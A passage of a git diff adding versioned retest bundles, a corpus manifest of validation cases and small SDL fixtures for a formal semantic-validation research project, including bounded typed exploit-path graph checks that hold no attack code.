"docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "64.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v64.json", + "snapshot_sha256": "b6b53fa25e1be2fb06e34645a22c0e23546011c126bce474e36e73e39974fdf0" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v65.json b/docs/research/formal-semantic-validation/bundles/retest-v65.json new file mode 100644 index 000000000..1ce1d3f41 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v65.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v65.json", + "analysis_sha256": "52ff8c9fca6e76c55b47f94a19260b8c6a3b470bdc06a8f7abd7a07c066f30c8", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "65.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v65.json", + "snapshot_sha256": "f74ba4ea4cfa26986bc609ad6118587cb2cb3c9d92837978fc675299c7413572" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v66.json b/docs/research/formal-semantic-validation/bundles/retest-v66.json new file mode 100644 index 000000000..c618f7ebb --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v66.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v66.json", + "analysis_sha256": "e5c47634bc0946d75eaf488e3656e870c000c9bc8815d24983cd1121d102c13a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "66.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v66.json", + "snapshot_sha256": "b6c9dc6f2afbc6b6c0efe1366c5eb8c1415c5400b3291224f3517ce9ac266523" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v67.json b/docs/research/formal-semantic-validation/bundles/retest-v67.json new file mode 100644 index 000000000..7ec50969b --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v67.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v67.json", + "analysis_sha256": "37d4daba9c7270169d343a7c36725e779dbae141132e928786a048d4083682d7", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "67.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v67.json", + "snapshot_sha256": "ae71c86b50ce858a505908f760fe8f6bb76a6a07302b6fb1797015838a00e0dd" +} diff --git a/docs/research/formal-semantic-validation/corpus/manifest-v4.json b/docs/research/formal-semantic-validation/corpus/manifest-v4.json new file mode 100644 index 000000000..260f49c18 --- /dev/null +++ b/docs/research/formal-semantic-validation/corpus/manifest-v4.json @@ -0,0 +1,266 @@ +{ + "cases": [ + { + "artifact_stage": "authored", + "case_id": "schema-valid-control", + "claim_class_id": "schema-validity", + "comparison_fixture_path": null, + "entrypoint_id": "parse-sdl-file", + "expected_outcome": "accepted", + "fixture_path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "limitation": "Demonstrates only the named source/model boundary.", + "polarity": "positive", + "replay_mode": "parse", + "title": "Closed minimal SDL source" + }, + { + "artifact_stage": "authored", + "case_id": "schema-unknown-field", + "claim_class_id": "schema-validity", + "comparison_fixture_path": null, + "entrypoint_id": "parse-sdl-file", + "expected_outcome": "rejected", + "fixture_path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "limitation": "Injects one structural defect and makes no semantic claim.", + "polarity": "negative", + "replay_mode": "parse", + "title": "Unknown top-level SDL field" + }, + { + "artifact_stage": "validated", + "case_id": "semantic-resolved-objective", + "claim_class_id": "semantic-consistency", + "comparison_fixture_path": null, + "entrypoint_id": "semantic-validator", + "expected_outcome": "accepted", + "fixture_path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "limitation": "A positive control for one reference-resolution slice.", + "polarity": "positive", + "replay_mode": "parse", + "title": "Objective with resolved assertion and actor" + }, + { + "artifact_stage": "validated", + "case_id": "semantic-dangling-assertion", + "claim_class_id": "semantic-consistency", + "comparison_fixture_path": null, + "entrypoint_id": "semantic-validator", + "expected_outcome": "rejected", + "fixture_path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "limitation": "Does not establish complete negative coverage for every semantic invariant.", + "polarity": "negative", + "replay_mode": "parse", + "title": "Objective with one dangling assertion reference" + }, + { + "artifact_stage": "validated", + "case_id": "semantic-ambiguous-reference", + "claim_class_id": "semantic-consistency", + "comparison_fixture_path": null, + "entrypoint_id": "semantic-validator", + "expected_outcome": "rejected", + "fixture_path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "limitation": "Exercises one ambiguous namespace collision through the production resolver.", + "polarity": "negative", + "replay_mode": "parse", + "title": "Ambiguous bare relationship reference" + }, + { + "artifact_stage": "validated", + "case_id": "semantic-feature-cycle", + "claim_class_id": "semantic-consistency", + "comparison_fixture_path": null, + "entrypoint_id": "semantic-validator", + "expected_outcome": "rejected", + "fixture_path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "limitation": "Exercises one static dependency cycle and is not a general solver result.", + "polarity": "negative", + "replay_mode": "parse", + "title": "Cyclic feature dependency" + }, + { + "artifact_stage": "validated", + "case_id": "workflow-reachable-control", + "claim_class_id": "graph-reachability", + "comparison_fixture_path": null, + "entrypoint_id": "workflow-semantic-validator", + "expected_outcome": "accepted", + "fixture_path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "limitation": "Covers workflow control flow, not network or exploit reachability.", + "polarity": "positive", + "replay_mode": "parse", + "title": "Fully reachable workflow graph" + }, + { + "artifact_stage": "validated", + "case_id": "workflow-unreachable-step", + "claim_class_id": "graph-reachability", + "comparison_fixture_path": null, + "entrypoint_id": "workflow-semantic-validator", + "expected_outcome": "rejected", + "fixture_path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "limitation": "One-defect workflow reachability case only.", + "polarity": "negative", + "replay_mode": "parse", + "title": "Workflow with one unreachable step" + }, + { + "artifact_stage": "analyzed", + "case_id": "whole-scenario-satisfiable-request", + "claim_class_id": "constraint-satisfiability", + "comparison_fixture_path": null, + "entrypoint_id": "whole-scenario-constraint-solver", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "The issue-168 baseline has no governed whole-scenario constraint theory or solver entrypoint.", + "polarity": "positive", + "replay_mode": "unsupported", + "title": "Whole-scenario satisfiable-model request" + }, + { + "artifact_stage": "analyzed", + "case_id": "whole-scenario-unsatisfiable-request", + "claim_class_id": "constraint-satisfiability", + "comparison_fixture_path": null, + "entrypoint_id": "whole-scenario-constraint-solver", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "Local predicates and envelope witnesses cannot supply an unsat certificate.", + "polarity": "negative", + "replay_mode": "unsupported", + "title": "Whole-scenario unsatisfiable-model request" + }, + { + "artifact_stage": "analyzed", + "case_id": "valid-exploit-path-request", + "claim_class_id": "exploit-path-validity", + "comparison_fixture_path": null, + "entrypoint_id": "exploit-path-analyzer", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "No canonical typed attack-transition graph or executable path query exists.", + "polarity": "positive", + "replay_mode": "unsupported", + "title": "Typed valid exploit-path request" + }, + { + "artifact_stage": "analyzed", + "case_id": "invalid-exploit-path-request", + "claim_class_id": "exploit-path-validity", + "comparison_fixture_path": null, + "entrypoint_id": "exploit-path-analyzer", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "Topology and vulnerability references are deliberately not treated as a path proof.", + "polarity": "negative", + "replay_mode": "unsupported", + "title": "Typed invalid exploit-path request" + }, + { + "artifact_stage": "compiled", + "case_id": "compile-repeatability-control", + "claim_class_id": "determinism-stability", + "comparison_fixture_path": null, + "entrypoint_id": "parse-instantiate-compile", + "expected_outcome": "stable", + "fixture_path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "limitation": "Does not cover runtime scheduling, backend, replay, or study stability.", + "polarity": "positive", + "replay_mode": "compile-stability", + "title": "Two-pass parse, instantiate, and compile repeatability" + }, + { + "artifact_stage": "compiled", + "case_id": "compile-non-vacuity-control", + "claim_class_id": "determinism-stability", + "comparison_fixture_path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "entrypoint_id": "parse-instantiate-compile", + "expected_outcome": "distinguishable", + "fixture_path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "limitation": "A non-vacuity control for the digest witness, not a meaning-equivalence theorem.", + "polarity": "negative", + "replay_mode": "compile-distinguish", + "title": "Distinct compiled scenarios remain distinguishable" + }, + { + "artifact_stage": "analyzed", + "case_id": "necessity-witness-request", + "claim_class_id": "counterfactual-necessity", + "comparison_fixture_path": null, + "entrypoint_id": "counterfactual-protocol", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "Issue #98 has not supplied a governed intervention or ablation protocol.", + "polarity": "positive", + "replay_mode": "unsupported", + "title": "Counterfactual necessity witness request" + }, + { + "artifact_stage": "analyzed", + "case_id": "non-necessity-control-request", + "claim_class_id": "counterfactual-necessity", + "comparison_fixture_path": null, + "entrypoint_id": "counterfactual-protocol", + "expected_outcome": "unsupported", + "fixture_path": null, + "limitation": "Attribution and temporal ordering do not substitute for an intervention comparison.", + "polarity": "negative", + "replay_mode": "unsupported", + "title": "Counterfactual non-necessity control request" + }, + { + "artifact_stage": "analyzed", + "case_id": "finite-domain-satisfiable-v2", + "claim_class_id": "constraint-satisfiability", + "comparison_fixture_path": null, + "entrypoint_id": "raes-processor-satisfiability", + "expected_outcome": "satisfiable", + "fixture_path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "limitation": "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source.", + "polarity": "positive", + "replay_mode": "satisfiability", + "title": "Governed finite-domain satisfiable control" + }, + { + "artifact_stage": "analyzed", + "case_id": "finite-domain-unsatisfiable-v2", + "claim_class_id": "constraint-satisfiability", + "comparison_fixture_path": null, + "entrypoint_id": "raes-processor-satisfiability", + "expected_outcome": "unsatisfiable", + "fixture_path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "limitation": "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL.", + "polarity": "negative", + "replay_mode": "satisfiability", + "title": "Governed finite-domain unsatisfiable control" + }, + { + "artifact_stage": "analyzed", + "case_id": "typed-exploit-path-valid-v2", + "claim_class_id": "exploit-path-validity", + "comparison_fixture_path": null, + "entrypoint_id": "raes-processor-exploit-path", + "expected_outcome": "valid-path", + "fixture_path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "limitation": "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution.", + "polarity": "positive", + "replay_mode": "exploit-path", + "title": "Governed typed exploit-path witness" + }, + { + "artifact_stage": "analyzed", + "case_id": "typed-exploit-path-invalid-v2", + "claim_class_id": "exploit-path-validity", + "comparison_fixture_path": null, + "entrypoint_id": "raes-processor-exploit-path", + "expected_outcome": "invalid-path", + "fixture_path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "limitation": "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability.", + "polarity": "negative", + "replay_mode": "exploit-path", + "title": "Governed typed invalid-path control" + } + ], + "corpus_id": "raes-formal-semantic-validation-corpus", + "revision": "4.0.0" +} diff --git a/docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml b/docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml new file mode 100644 index 000000000..4e2aeb212 --- /dev/null +++ b/docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml @@ -0,0 +1,7 @@ +name: semantic-dangling-assertion +entities: + blue: {role: blue} +objectives: + goal: + owner: blue + success: {assertions: [missing-assertion]} diff --git a/docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml b/docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml new file mode 100644 index 000000000..05cf187f4 --- /dev/null +++ b/docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml @@ -0,0 +1,28 @@ +name: semantic-resolved-objective +nodes: + vm: + type: compute + os: linux + resources: {ram: 1 gib, cpu: 1} +propositions: + ready: + description: The governed node has declared ready state. + subjects: [nodes.vm] + basis: declared_state + predicate: + kind: boolean + property: ready + semantic_ref: urn:raes:declared-property:ready + operator: equals + expected: true +assertions: + ready: + proposition: ready + role: postcondition + polarity: positive +entities: + blue: {role: blue} +objectives: + goal: + owner: blue + success: {assertions: [ready]} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v17.json b/docs/research/formal-semantic-validation/execution-snapshot-v17.json new file mode 100644 index 000000000..25c7f79c3 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v17.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1285-execution-v16", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v16.json", + "release_revision": "17.0.0", + "release_sha256": "06e93f6b5acb46251a1b432d405366d633c68e0073b09fb1b6e5f099d5679b83" + }, + "captured_at": "2026-09-15T17:07:02.307825+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + 